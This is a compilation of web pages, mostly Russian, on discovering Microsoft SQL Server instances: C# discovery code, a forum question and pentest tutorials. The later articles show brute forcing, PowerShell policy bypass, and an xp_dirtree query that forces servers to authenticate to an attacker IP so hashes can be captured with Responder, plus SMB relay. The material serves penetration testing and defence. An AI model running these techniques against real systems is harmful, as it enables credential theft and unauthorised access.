- Remove From My Forums
-
Вопрос
-
Добрый день.
Необходимо найти все компьютеры на которых установлен SQL-сервер (желательно с именами экземпляров).
Для этих целей нашел замечательную утилиту “Microsoft Assessment and Planning (MAP) Toolkit” (текущая версия 8.0 , 8.5 beta)
http://technet.microsoft.com/en-us/solutionaccelerators/dd537566.aspx
Но к сожалению она ищет только SQL 20082012 , а вот поиск SQL 2005 не предусмотрен.
PS: Видимо утилита “свежая” и более ранние версии так же не поддерживают поиск 2005-версии плюс ссылки ведут на все ту же последнюю версию 8.0
Есть различные сканеры (по портам). Но хотелось бы воспользоваться утилитой непосредственно предназначенной для поиск и составления отчетов о SQL-серверах.
Кто знает такие подскажите пожалуйста.
-
Изменено
17 июня 2014 г. 6:24
-
Изменено
Ответы
-
-
Помечено в качестве ответа
Frenzy from DP
17 июня 2014 г. 6:23
-
Помечено в качестве ответа
-
Почему то часто забывают solution accelerators от MS
Тот же
MAP покажет Вам в отчете (Excel) количество SQL , версия и т.д=полная инвентаризация. и не только SQL.Native-софтом рекомендуется пользоваться. Сторонний, – если native не несет функционала нужного
Roman Levchenko, MCSA, MCITP, MCTS http://www.rlevchenko.com
-
Изменено
R.LevchenkoMVP
17 июня 2014 г. 7:12 -
Предложено в качестве ответа
R.LevchenkoMVP
17 июня 2014 г. 7:12 -
Помечено в качестве ответа
Иван ПродановMicrosoft contingent staff, Moderator
17 июня 2014 г. 7:35
-
Изменено
- Download source – 6.84 Kb (Includes demo with VS2003 & VS2005 project files)
Introduction
This articles shows how to retrieve a list of PCs on the local network which are running MS SQL Server, and gets information about the instances, such as server name, instance name, version, and databases.
Background
To get a list of the nearby SQL Servers is as simple as typing “osql /L” on a command prompt. But getting them programmatically, for use inside an application, is a bit trickier. The most common use for this would be to create a connection string building form in managed code, which will be the subject of my next article.
Note also, that while the subject matter is SQL Server, the first half of this article deals mostly with sockets.
To create a list of SQL Server instances, I first tried several different methods, all of which had two things in common: they took a very long time, and they were only marginally successful at finding SQL Servers instances on the network. Eventually, I had the idea of running “osql -L” with a packet sniffer running (I used Ethereal), to see how osql was doing it.
Its method was to send out a Broadcast UDP packet on port 1434, with the contents of just a byte of 0x02, to which each server would respond. Sending such a message is quite simple:
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp ); socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.Broadcast, 1); socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReceiveTimeout, 3000); IPEndPoint ep = new IPEndPoint(IPAddress.Broadcast, 1434); byte[] msg = new byte[] { 0x02 }; socket.SendTo(msg, ep);
It’s vitally important that you set the timeout. Without it, the Receive
method will just keep waiting (forever!) until it gets something. However, since we’ll be waiting for responses from an unknown number of servers, we have to decide to give up at some point. I’ve set that point, initially, at 3 seconds. Before I realized that the Broadcast & Timeout options were available (but hidden) on the Socket
class, I had this elaborate class which derived from UdpClient
and implemented asynchronous receiving.
As it turns out, with the proper options set, getting a response is as simple as you’d hope.
byte[] bytBuffer = new byte[256];
socket.Receive(bytBuffer);
The Receive
method will get the response from one server, so we’ll have to put that code in a loop to get all of them. Of course, once we’ve gotten a response, we need to interpret it. For this, I’ve created a simple class called SqlServerInfo
, which I’ll explain further in a minute.
After we’ve received, processed and stored the response, we just keep looping until we don’t get a response within the timeout. The downside of using a timeout, is that when it is reached, the Socket
throws a SocketException
, which means we have to incur the overhead time to process a throw
every time we call this method. This is in addition to the timeout delay itself. I was able to find a way to minimize this.
I initially set the timeout to 3 seconds. The problem here was that after each response, I’d call Receive
again, and the timeout timer would start over. So the total time for the method would be: the total actual processing time + the timeout + the throw
overhead. This was about 5 seconds in my tests. This seems way too long to me — remember, this is something we are going to want to do in the Page_Load
of a form. One thing I noticed was that after I send the broadcast message, there would be a short delay as the message went out, the remote servers received it and prepared their responses. However, after that delay, all the responses would come in a pack. So, I decided, after I processed the first response, to reset the timeout to 0.3 seconds. This cut the total time down to about 1-2 seconds, a much more reasonable delay. (However, if there were no servers at all on the network, it would still take 3+ seconds to realize that.)
Now, back to interpreting the response we’ve gotten, which is quite simple. The first three bytes are a byte of 0x05, followed by two bytes giving the length of the rest which is straight ASCII text of pairs of items, separated by semicolons:
data item 1 name ; data item 1 value ; data item 2 name ; data item 2 value;
or more specifically:
ServerName;DATA001;InstanceName;MSSQLSERVER;IsClustered;No;Version;8.00.194;tcp;1433
To make use of this, we’ll have to convert from a byte array of ASCII characters to a .NET string of UNICODE characters, which the framework is nice enough to provide a method for (although it does bury in under System.Text.ASCIIEncoding.ASCII
). Then, separate the parts, and move the the data values to properties where they can be accessed easier.
Of course, while the information provided in the broadcast response is useful, it doesn’t provide one vitally important piece of data: the list of databases on that server. To get that, we need to use more traditional database access methods.
But, to do that, we are going to have to connect to the server, which means a connection string, which means a username & password. SqlServerInfo
provides read/write properties for those as well as a boolean IntegratedSecurity
option (the other properties are read-only).
Once we’ve established a connection, getting the list of catalogs is a method built right into the OleDbConnection
object:
DataTable schemaTable =
myConnection.GetOleDbSchemaTable(OleDbSchemaGuid.Catalogs, null);
Using the code
Everything is packaged in the class SqlServerInfo
. It has one static method, Seek()
, which gets the information about the SQL Server instances on the network, and returns an array of SqlServerInfo
objects.
SqlServerInfo[] servers = SqlServerInfo.Seek();
Each SqlServerInfo
object contains a number of properties describing that particular MS SQL Server instance. Each of these is a read-only property.
public string ServerName
public string InstanceName
public bool IsClustered
public string Version
public int TcpPort
public string NamedPipe
public IPAddress Address
InstanceName
is typically “MSSQLSERVER”, which is the default if it isn’t given a specific name at installation. Version should be “8.0.xxx” for SQL Server 2000. And TcpPort
will typically be 1433.
Note that, although Address
is a property, in the current implementation it will always be null
— until I can figure a way of finding out what the server’s IP address is. The Socket.Receive
method doesn’t say what machine is sending the data — it is just assumed to be the machine you just transmitted to — the naiveté of which is apparent when one sends a broadcast message. (If anyone knows how to get that information out of a Socket
, please let me know.)
Next there are four Read/Write properties, which must be set to get any more information out of this class:
public string UserId
public string Password
public bool IntegratedSecurity
public int TimeOut
These establish how we are going to attempt to connect to that server. IntegratedSecurity
defaults to true
, and TimeOut
defaults to 2 seconds, so if these work for you, you don’t have to do anything more. Setting either UserId
or Password
sets IntegratedSecurity
to false
.
The final property retrieves a list of databases available on the server.
public StringCollection Catalogs
The first time it is called, it will attempt to connect to the server, so the above property needs to be set right.
Finally, there are two methods:
public bool TestConnection()
public override string ToString()
TestConnection
is just as its name says — it tests if you can connect with the given userID/password.
ToString
returns either the ServerName
(if the InstanceName
is the default) or ServerName
/ InstanceName
. Either way it is what you need to specify as the Data Source in a connection string. As a ToString
, you can set the DataSource
property of a ListBox
or similar control to an array of SqlServerInfo
objects, and the appropriate values will be displayed.
SqlServerInfo Data = servers[0]; Console.WriteLine(Data.ToString()); Console.WriteLine("Version:", Data.Version); Data.IntegratedSecurity = true; foreach(string Catalog in Data.Catalogs) { Console.WriteLine(" {0}", Catalog); }
History
- 20-Nov 2005 – v 1.0 Initial release.
В данной статье рассмотрим два варианта получения доступных в сети SQL серверов.
- С использованием стандартного класса «SqlDataSourceEnumerator» из Microsoft Net. Fraemwork;
- С использованием WinAPI.
1) Для получения доступных SQL серверов на локальном компьютере или в сети необходимо воспользоваться классом «SqlDataSourceEnumerator», который обеспечивает доступ к этим сведениям, предоставляя объект «DataTable» с данными обо всех видимых серверах. Для этого необходимо вызвать метод «GetDataSources», который возвращает таблицу «DataTable» со сведениями о доступных серверах:
DataTable dt = System.Data.Sql.SqlDataSourceEnumerator.Instance.GetDataSources()
Таблица, возвращенная в результате вызова этого метода, содержит следующие столбцы, причем все эти столбцы содержат значения «string».
- «ServerName» – Имя сервера.
- «InstanceName» – Имя экземпляра сервера. Пуст, если сервер выполняется как используемый по умолчанию экземпляр.
- «IsClustered» – Указывает, является ли сервер частью кластера.
- «Version» – Версия сервера.
Сведения о серверах из списка могут включать или не включать такие дополнительные данные, как «IsClustered» и версия (Version). Это зависит от того, каким образом был получен список. В списках серверов, полученных с помощью службы обозревателя «SQL Server», присутствует больше сведений, чем в списках серверов, найденных с помощью инфраструктуры Windows и содержащих только имена.
Так же из-за особенностей механизма, используемого «SqlDataSourceEnumerator» для поиска источников данных в сети, этот метод не всегда возвращает полный список доступных серверов, и для последовательных вызовов содержимое списка может изменяться в зависимости от таких факторов, как время ожидания и сетевой трафик. Это может привести к тому, что при двух последовательных вызовах будут получены разные списки. В список входят только серверы, находящиеся в одной сети. Широковещательные пакеты обычно не проходят через маршрутизаторы, поэтому некоторый сервер может отсутствовать в списке, но будет стабильно работать.
Если вы планируете применять данную функцию, чтобы дать возможность пользователю выбрать сервер из списка, обязательно предоставляйте пользователю возможность ввести отсутствующее в списке имя сервера на случай, если перечисление вернет не все доступные серверы.
Кроме того, этот метод может выполняться довольно долго, поэтому в ситуациях, когда приоритетным является быстродействие, пользоваться им следует с осторожностью.
В «SQL Server 2000» данные для «SqlDataSourceEnumerator» предоставляются внутренним образом. Но в версии «SQL Server 2005» эти сведения предоставляются с использованием внешней службы Windows, называемой обозревателем SQL. Применение этой службы разрешено по умолчанию, но администраторы могут ее выключать или запрещать, в результате чего соответствующий экземпляр сервера становится невидимым для указанного класса. Эта служба применяется только в версии «SQL Server 2005» и не оказывает влияния на поведение «SQL Server 2000». Оборудование и программное обеспечение так же могут налагать свои ограничения на возможность поиска экземпляров «SQL Server».
Ниже представлен пример получения и вывода сокращенной информации обо всех найденных в сети и (или) локальных SQL серверов в элемент управления «ComboBox» и более полной информации в элемент управления «RichTextBox».
//Переменная для хранения информации о //найденных серверах. string ServerInfo = string.Empty; //Получение доступных SQL серверов. DataTable dt = System.Data.Sql.SqlDataSourceEnumerator.Instance.GetDataSources(); foreach (DataRow dr in dt.Rows) { //Вывод найденной информации о серверах //в элемент управления СomboBox. comboBox1.Items.Add(string.Concat(dr["ServerName"], "\", dr["InstanceName"])); //Добавление пустой строки после получения //информации о сервере foreach (DataColumn col in dt.Columns) { ServerInfo += String.Format("{0,-15}: {1}", col.ColumnName, dr[col]) + Environment.NewLine; } //Добавление пустой строки после получения //информации о сервере. ServerInfo += Environment.NewLine; } //Вывод найденной информации о серверах //в элемент управления RichTextBox. richTextBox1.Text = ServerInfo;
2) В данном примере необходимо добавить класс «SqlLocator» в листинг формы, где будет выполняться запуск процесса поиска и вывода найденных SQL серверов в сети.
public class SqlLocator { [System.Runtime.InteropServices.DllImport("odbc32.dll")] private static extern short SQLAllocHandle(short hType, IntPtr inputHandle, out IntPtr outputHandle); [System.Runtime.InteropServices.DllImport("odbc32.dll")] private static extern short SQLSetEnvAttr(IntPtr henv, int attribute, IntPtr valuePtr, int strLength); [System.Runtime.InteropServices.DllImport("odbc32.dll")] private static extern short SQLFreeHandle(short hType, IntPtr handle); [System.Runtime.InteropServices.DllImport("odbc32.dll", CharSet = System.Runtime.InteropServices.CharSet.Ansi)] private static extern short SQLBrowseConnect(IntPtr hconn, StringBuilder inString, short inStringLength, StringBuilder outString, short outStringLength, out short outLengthNeeded); private const short SQL_HANDLE_ENV = 1; private const short SQL_HANDLE_DBC = 2; private const int SQL_ATTR_ODBC_VERSION = 200; private const int SQL_OV_ODBC3 = 3; private const short SQL_SUCCESS = 0; private const short SQL_NEED_DATA = 99; private const short DEFAULT_RESULT_SIZE = 1024; private const string SQL_DRIVER_STR = "DRIVER=SQL SERVER"; private SqlLocator() { } public static string[] GetServers() { string[] retval = null; string txt = string.Empty; IntPtr henv = IntPtr.Zero; IntPtr hconn = IntPtr.Zero; StringBuilder inString = new StringBuilder(SQL_DRIVER_STR); StringBuilder outString = new StringBuilder(DEFAULT_RESULT_SIZE); short inStringLength = (short)inString.Length; short lenNeeded = 0; try { if (SQL_SUCCESS == SQLAllocHandle(SQL_HANDLE_ENV, henv, out henv)) { if (SQL_SUCCESS == SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION, (IntPtr)SQL_OV_ODBC3, 0)) { if (SQL_SUCCESS == SQLAllocHandle(SQL_HANDLE_DBC, henv, out hconn)) { if (SQL_NEED_DATA == SQLBrowseConnect(hconn, inString, inStringLength, outString, DEFAULT_RESULT_SIZE, out lenNeeded)) { if (DEFAULT_RESULT_SIZE < lenNeeded) { outString.Capacity = lenNeeded; if (SQL_NEED_DATA != SQLBrowseConnect(hconn, inString, inStringLength, outString, lenNeeded, out lenNeeded)) { throw new ApplicationException("Unabled to aquire SQL Servers from ODBC driver."); } } txt = outString.ToString(); int start = txt.IndexOf("{") + 1; int len = txt.IndexOf("}") - start; if ((start > 0) && (len > 0)) { txt = txt.Substring(start, len); } else { txt = string.Empty; } } } } } } catch (Exception ex) { #if (DEBUG) MessageBox.Show(ex.Message, "Acquire SQL Servier List Error"); #endif txt = string.Empty; } finally { if (hconn != IntPtr.Zero) { SQLFreeHandle(SQL_HANDLE_DBC, hconn); } if (henv != IntPtr.Zero) { SQLFreeHandle(SQL_HANDLE_ENV, hconn); } } if (txt.Length > 0) { retval = txt.Split(",".ToCharArray()); } return retval; }
Для получения списка SQL серверов с помощью данного класса необходимо вызвать из него метод «GetServers», который возвращает строковый массив с доступными в сети серверами.
//Предварительно очищаем все элементы управления //в которые будут выводиться данные comboBox1.Items.Clear(); richTextBox1.Text = string.Empty; string[] theAvailableSqlServers = SqlLocator.GetServers(); if (theAvailableSqlServers != null) { comboBox1.DataSource = theAvailableSqlServers; foreach (string NameServer in theAvailableSqlServers) { richTextBox1.Text += NameServer + Environment.NewLine; } } else { MessageBox.Show("SQL сервера не найдены!"); }
Содержание
- 1 Поиск и взлом MSSQL
- 1.1 Metasploit
- 1.2 Nmap
- 1.3 SQLPing
- 1.4 Nessus
- 1.5 PowerUpSQL
- 1.6 Командная строка
- 2 Заключение
Сегодня расскажу вам о лучших способах поиска и взлома сервера базы данных MSSQL. Речь пойдет, как о локальных, так и удаленных методах обнаружения серверов MS-SQL.
Еще по теме: Поиск открытых баз данных с помощью поисковиков
Microsoft SQL Server (MS-SQL) — менеджер реляционных баз данных, созданный Microsoft. На большом предприятии или в организации используется несколько баз данных, что часто приводит к проблемам в плане безопасности.
Вся информация в этой статье предоставлена исключительно в ознакомительных целях. Ни редакция сайта spy-soft.net, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Имейте в виду, что доступ к данным без предварительного письменного соглашения с их владельцем преследуется по закону.
Поиск и взлом MSSQL
Существуют различные методы и инструменты для обнаружения серверов MS-SQL. Вам как пентестеру надо знать все.
Metasploit
Использование Metasploit для поиска серверов MS-SQL — один из лучших удаленных методов. Metasploit — это мощный фреймворк. Подробнее о Metasploit в статье «Как пользоваться Metasploit Framework».
use auxiliary/scanner/mssql/mssql_ping set rhosts 192.168.1.0/24 exploit |
Как вы можете видеть на изображении выше, используя подходящий эксплойт, можно с легкостью найти MSSQL.
Nmap
Следующий метод обнаружить сервер MS-SQL — использование сканера Nmap. Это отличный инструмент для тестирования на проникновение. Этот метод также является удаленным. Просто откройте консоль в Kali и введите команду:
nmap –p 1433 –script ms–sql–info 192.168.1.1/24 |
SQLPing
SQLPing — инструмент для ОС Windows, который помогает обнаруживать сервер MS-SQL в сети. Этот инструмент будет полезен любителям Windows. Его можно скачать здесь.
После скачивания, откройте SQLPing. На вкладке «Skan» в левой части окна укажите диапазон IP-адресов.
Кроме того, этот инструмент помогает подобрать имя пользователя и пароль сервера с помощью брутфорса, используя словарь. Указать путь к словарю можно на вкладке «Skan», как показано на изображении выше:
Найти сервер MS-SQL в сети с помощью инструмента SQLPing — дело плевое.
Nessus
Nessus — бесплатный удаленный сканер. Для поиска и последующего взлома сервера MS-SQL, перейдите на вкладку уязвимостей и установите фильтр для порта 1433, поскольку это порт по умолчанию используется сервером MS-SQL.
После сканирования, Nessus отобразит результат.
PowerUpSQL
PowerUpsql больше подойдет для пентеста локальной сети. Чтобы использовать этот инструмент, откройте Windows PowerShell и введите команды:
cd .Desktop powershell –ep bypass Import–Module .PowerUpSQL.ps1 Get–SQL–InstanceLocal –verbose |
Командная строка
Использование командной строки также является локальным, но весьма полезным методом. Это самый простой метод для обнаружения сервера MS-SQL в локальной сети. Вводим одну из команд:
osql -L
Заключение
Это самые эффективные способы обнаружения серверов баз данных MS-SQL в сети как удаленно, так и локально.
Еще по теме: Разграничение прав доступа в базе данных
В этой статье я продемонстрирую скрипт для PowerShell, использующий SPN-записи (Service Principal Name, Первичное имя сервиса), взятые из Active Directory, для обнаружения и атаки на SQL-сервера, находящиеся внутри Windows-доменов, без сканирования.
Автор: Скот Сазерленд (Scott Sutherland)
В этой статье я продемонстрирую скрипт для PowerShell, использующий SPN-записи (Service Principal Name, Первичное имя сервиса), взятые из Active Directory, для обнаружения и атаки на SQL-сервера, находящиеся внутри Windows-доменов, без сканирования. Первоначально скрипт был написан для повышения привилегий и обнаружения критических данных во время пентестов. Кроме того, я расскажу о том, как использовать этот скрипт не только для атаки, но и для защиты.
Введение
Использование техник сканирования для обнаружения SQL-серверов может быть полезно в тех случаях, когда у нас нет информации об учетных записях, либо мы охотимся за серверами, находящимися вне домена. Однако эта процедура может быть весьма затратна по времени и, к тому же, легко обнаружена. Кроме того, некоторые SQL-сервера вовсе могут ускользнуть от нас из-за неизвестных подсетей, использования нестандартных портов и ограничений в домене, которые накладываются на пересылку сообщений. После того как я столкнулся с SPN-записями, то сразу понял, что их можно использовать для быстрого обнаружения SQL-серверов в домене.
В документации от компании Microsoft утверждается следующее: «первичное имя сервиса – имя, по которому клиент однозначно опознает инстанс службы». Сия фраза означает, что каждая служба (включая сервисы SQL-серверов), установленная в домене, регистрируется в Active Directory. В результате этого, каждый пользователь домена может получить полный список SQL-серверов, установленных в домене, без использования сканера. Кроме того, SPN-записи содержат корректные имена инстансов и номера портов, что значительно экономит время. Более подробно об SPN я рассказываю в другой своей статье: Faster Domain Escalation Using LDAP.
Однако, даже зная о том, что в Active Directory присутствует информация об SPN, я быстро понял, что нужно более автоматизированное решение, которое весьма пригодится во время пентестов.
Автоматизация процесса при помощи PowerShell
После некоторых экспериментов я подумал, что неплохо было бы смастерить скрипт, который автоматически получал список SQL-серверов из ADS (Active Directory Services) через LDAP и автоматически определял уровень доступа к каждому серверу у текущего пользователя домена. Для решения этой задачи в PowerShell есть все необходимые возможности. К примеру, стандартная установка PowerShell v.3 включает поддержку для LDAP-запросов, запросов к SQL-серверу, преобразование IP-адресов, ICMP-запросы и много других полезностей. Дополнительный плюс в том, что для использования всех вышеупомянутых фитч не требуется установка дополнительный библиотек, модулей и командлетов (cmdlets).
После некоторых экспериментов на свет появился модуль “Get-SQLServerAccess.psm1” для PowerShell. Я попытался добавить в него как можно больше различных настроек, чтобы модуль был полезен как при атаках, так и для защиты систем (к примеру, можно быстро найти привилегии с высоким уровнем доступа, которые потенциально могут быть использованы злоумышленниками). Кроме того, скрипт удобен для определения местонахождения хранилищ информации.
Если вы не знакомы с установкой модулей в PowerShell, то далее я проведу небольшой ликбез по этой теме.
Установка модуля
Скрипт можно загрузить с моего аккаунта на github. Через некоторое время я также планирую добавить его в проект Posh-SecMod. Требуется наличие PowerShell v3. Модуль можно либо установить вручную, положив файл Get-SQLServerAccess.psm1 в одну из следующих директорий:
%USERPROFILE%DocumentsWindowsPowerShellModulesGet-SQLServerAccess
%WINDIR%System32WindowsPowerShellv1.0ModulesGet-SQLServerAccess
Либо импортировать при помощи следующей команды:
Import-Module c:tempGet-SQLServerAccess.psm1
Рисунок 1: Процедура импорта модуля
После импорта проверьте, что модуль установился успешно, используя следующую команду (или просто запустите модуль):
Get-Command Get-SQLServerAcess
Рисунок 2: Проверка работоспособности модуля
Использование модуля в защитных целях
Администраторы баз данных часто наделяют всех пользователей домена правами доступа, которые позволяют залогиниться на SQL-сервера. Такое происходит из-за того, что администраторы домена не всегда уверены, каким группам на самом деле нужен доступ. Кроме того, старые версии SQL-серверов по умолчанию позволяют логиниться всем без исключения пользователям домена. Причина тому – проблема с наследованием привилегий, о которой я рассказывал предыдущей статье. Подобные ошибки в настройках позволяют пользователям получать неавторизированный доступ, и наша задача – быстро обнаружить и исправить эти проблемы.
По умолчанию скрипт Get-SQLServerAccess выводит список SQL-серверов, на которые может залогиниться текущий пользователь домена. Кроме того, выводятся имена тех инстансов, к которым у пользователя есть привилегии сисадмина (sysadmin access), и если учетная запись, используемая для запуска службы SQL-сервера, – Domain Admin. Ниже показано несколько примеров.
- Получаем список SQL-серверов из ADS через LDAP запрос и пытаемся залогиниться к каждому инстансу, используя текущую учетную запись. По умолчанию выводятся следующие сведения.
- PS C:Get-SQLServerAccess
- [*] ----------------------------------------------------------------------
- [*] Start Time: 04/01/2014 10:00:00
- [*] Domain: mydomain.com
- [*] DC: dc1.mydomain.com
- [*] Getting list of SQL Server instances from DC as mydomainmyuser...
- [*] 5 SQL Server instances found in LDAP.
- [*] Attempting to login into 5 SQL Server instances as mydomainmyuser...
- [*] ----------------------------------------------------------------------
- [-] Failed - server1.mydomain.com is not responding to pings
- [-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
- [+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
- [+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
- [+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
- [*] ----------------------------------------------------------------------
- [*] 3 of 5 SQL Server instances could be accessed.
- [*] End Time: 04/01/2014 10:02:00
- [*] Total Time: 00:02:00
- [*] ----------------------------------------------------------------------
- Получаем список SQL-серверов из ADS через LDAP запрос и пытаемся залогиниться к каждому инстансу, используя текущую учетную запись. В этом примере информация сохраняется в CSV-файл.
- PS C:Get-SQLServerAccess -ShowSum | export-csv c:tempsql-server-excessive-privs.csv
- [*] ----------------------------------------------------------------------
- [*] Start Time: 04/01/2014 10:00:00
- [*] Domain: mydomain.com
- [*] DC: dc1.mydomain.com
- [*] Getting list of SQL Server instances from DC as mydomainmyuser...
- [*] 5 SQL Server instances found in LDAP.
- [*] Attempting to login into 5 SQL Server instances as mydomainmyuser...
- [*] ----------------------------------------------------------------------
- [-] Failed - server1.mydomain.com is not responding to pings
- [-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
- [+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
- [+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
- [+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
- [*] ----------------------------------------------------------------------
- [*] 3 of 5 SQL Server instances could be accessed.
- [*] End Time: 04/01/2014 10:02:00
- [*] Total Time: 00:02:00
- [*] ----------------------------------------------------------------------
Ниже показан скриншот CSV-файла:
Рисунок 3: Содержимое CSV-файла с перечнем потенциально уязвимых серверов
В примере выше показаны результаты из моей лаборатории, но в боевых условиях часто в подобных списках находятся сотни серверов. Еще рекомендую запустить скрипт под учетной записью domain computer account, что можно сделать, если выполнить команду «psexec.exe –s –i cmd.exe», а потом запустить скрипт, как показано выше. Вы удивитесь, насколько много серверов, к которым есть доступ из-под этих учетных записей.
Использование скрипта для атаки
Существует много различных техник для атаки на SQL-сервера. Я покажу, как, используя скрипт, можно реализовать некоторые из них.
- Поиск слабых паролей – до сих пор эффективная техника. Часто при работе по заказу клиентов находится несколько SQL-серверов, где используются слабые пароли. Часто встречающиеся логины: sa, test, dba, user, и sysadmin. Часто встречающиеся пароли: [the username], [the company], password, Password1, и SQL. Существует множество утилит для подбора паролей к базам данных, но я добавил дополнительную опцию, при помощи которой можно использовать определенный логин для аутентификации по списку SQL-серверов, найденных в ADS. Ниже показан пример, который может быть полезен для нахождения логинов, используемых на нескольких серверах.
2. PS C:Get-SQLServerAccess -sqluser test -sqlpass test
3. [*] ----------------------------------------------------------------------
4. [*] Start Time: 04/01/2014 10:00:00
5. [*] Domain: mydomain.com
6. [*] DC: dc1.mydomain.com
7. [*] Getting list of SQL Server instances from DC as mydomainmyuser...
8. [*] 5 SQL Server instances found in LDAP.
9. [*] Attempting to login into 5 SQL Server instances as test...
10. [*] ----------------------------------------------------------------------
11. [-] Failed - server1.mydomain.com is not responding to pings
12. [-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication failed
13. [+] Failed - server3.mydomain.com,1433 (192.168.1.103) is up, but authentication failed
14. [+] Failed - server3.mydomain.comSQLEXPRESS (192.168.1.103) is up, but authentication failed
15. [+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: No - SvcIsDA: Yes
16. [*] ----------------------------------------------------------------------
17. [*] 1 of 5 SQL Server instances could be accessed.
18. [*] End Time: 04/01/2014 10:02:00
19. [*] Total Time: 00:02:00
20. [*] ----------------------------------------------------------------------
- Поиск конфиденциальных данных. Используя оператор «-query», возможно получить всю необходимую информацию на всех доступных инстансах. Ниже показан простой пример получения списка баз данных, доступных для пользователя на каждом сервере.
22. PS C:Get-SQLServerAccess -query “select name as ‘Databases’ from master..sysdatabases where HAS_DBACCESS(name) = 1”
23. [*] ———————————————————————-
24. [*] Start Time: 04/01/2014 10:00:00
25. [*] Domain: mydomain.com
26. [*] DC: dc1.mydomain.com
27. [*] Getting list of SQL Server instances from DC as mydomainmyuser…
28. [*] 5 SQL Server instances found in LDAP.
29. [*] Attempting to login into 5 SQL Server instances as test…
30. [*] ———————————————————————-
31. [-] Failed – server1.mydomain.com is not responding to pings
32. [-] Failed – server2.mydomain.com (192.168.1.102) is up, but authentication failed
33. [+] SUCCESS! – server3.mydomain.com,1433 (192.168.1.103)-Sysadmin:No – SvcIsDA:No
34. [+] Query sent: select name as ‘Databases’ from master..sysdatabases where HAS_DBACCESS(name) = 1
35. [+] Query output:
36.
37. Databases
38. ———
39. master
40. tempdb
41. msdb
42.
43. [+] SUCCESS! – server3.mydomain.comSQLEXPRESS(192.168.1.103)-Sysadmin:No-SvcIsDA:No
44. [+] Query sent: select name as ‘Databases’ from master..sysdatabases where HAS_DBACCESS(name) = 1
45. [+] Query output:
46.
47. Databases
48. ———
49. master
50. tempdb
51. msdb
52.
53. [+] SUCCESS! – server4.mydomain.comAppData(192.168.1.104)-Sysadmin: Yes-SvcIsDA: Yes
54. [+] Query sent: select name as ‘Databases’ from master..sysdatabases where HAS_DBACCESS(name) = 1
55. [+] Query output:
56.
57. Databases
58. ———
59. master
60. tempdb
61. msdb
62. PCIDataDB
63. ApplicationDB
64. CompanySecrects
65.
66. [*] ———————————————————————-
67. [*] 3 of 5 SQL Server instances could be accessed.
68. [*] End Time: 04/01/2014 10:02:00
69. [*] Total Time: 00:02:00
70. [*] ———————————————————————-
- Получение и взлом хешей сервисных учетных записей. Подобная техника также вполне часто используется во время пентестов. Во многих случаях у сервисных учетных записей есть привилегии администратора для всех SQL-серверов в домене, а иногда даже привилегии администратора домена (более подробно о получение хешей к этим учетных записям рассказано в другой моей статье). Однако я покажу вам пример команды, которая принуждает доступные SQL-сервера к аутентификации к IP-адресу злоумышленника (192.168.1.50) при помощи оператора «-query».
72. PS C: Get-SQLServerAccess -query "exec master..xp_dirtree '\192.168.1.50file'"
73. [*] ----------------------------------------------------------------------
74. [*] Start Time: 04/01/2014 10:00:00
75. [*] Domain: mydomain.com
76. [*] DC: dc1.mydomain.com
77. [*] Getting list of SQL Server instances from DC as mydomainmyuser...
78. [*] 5 SQL Server instances found in LDAP.
79. [*] Attempting to login into 5 SQL Server instances as mydomainmyuser...
80. [*] ----------------------------------------------------------------------
81. [-] Failed - server1.mydomain.com is not responding to pings
82. [-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
83. [+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
84. [+] Custom query sent: exec master..xp_dirtree '\192.168.1.50file'
85. [+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
86. [+] Custom query sent: exec master..xp_dirtree '\192.168.1.50file'
87. [+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
88. [+] Custom query sent: exec master..xp_dirtree '\192.168.1.50file'
89. [*] ----------------------------------------------------------------------
90. [*] 3 of 5 SQL Server instances could be accessed.
91. [*] End Time: 04/01/2014 10:02:00
92. [*] Total Time: 00:02:00
93. [*] ----------------------------------------------------------------------
Существует прекрасная утилита Responder, при помощи которой можно собрать хеши паролей, отсылаемые со стороны каждого SQL-сервера. Полученные хеши можно взломать при помощи утилит наподобие OCLHashcat.
- Поиск общих сервисных аккаунтов для осуществления SMB relay атак. Здесь трюк заключается в том, чтобы найти SQL-сервера, использующие один и тот же сервисный аккаунт. Для этого я добавил в скрипт несколько операторов, например, «-showsum» и «-showstatus». Перечень сервисных учетных записей также можно выгрузить в csv файл. Как только подобные аккаунты обнаружены, используйте технику, описанную мной в одной из предыдущих статей для того, чтобы получить доступ к SQL-серверу на уровне операционной системы. Ниже показан пример по идентификации серверов, использующих общую сервисную учетную запись:
95. PS C:Get-SQLServerAccess -ShowSum | export-csv c:tempsql-server-excessive-privs.csv
96. [*] ----------------------------------------------------------------------
97. [*] Start Time: 04/01/2014 10:00:00
98. [*] Domain: mydomain.com
99. [*] DC: dc1.mydomain.com
100. [*] Getting list of SQL Server instances from DC as mydomainmyuser...
101. [*] 5 SQL Server instances found in LDAP.
102. [*] Attempting to login into 5 SQL Server instances as mydomainmyuser...
103. [*] ----------------------------------------------------------------------
104. [-] Failed - server1.mydomain.com is not responding to pings
105. [+] SUCCESS! - server2.mydomain.comAppOneDev (192.168.1.102) - Sysadmin: No - SvcIsDA: No
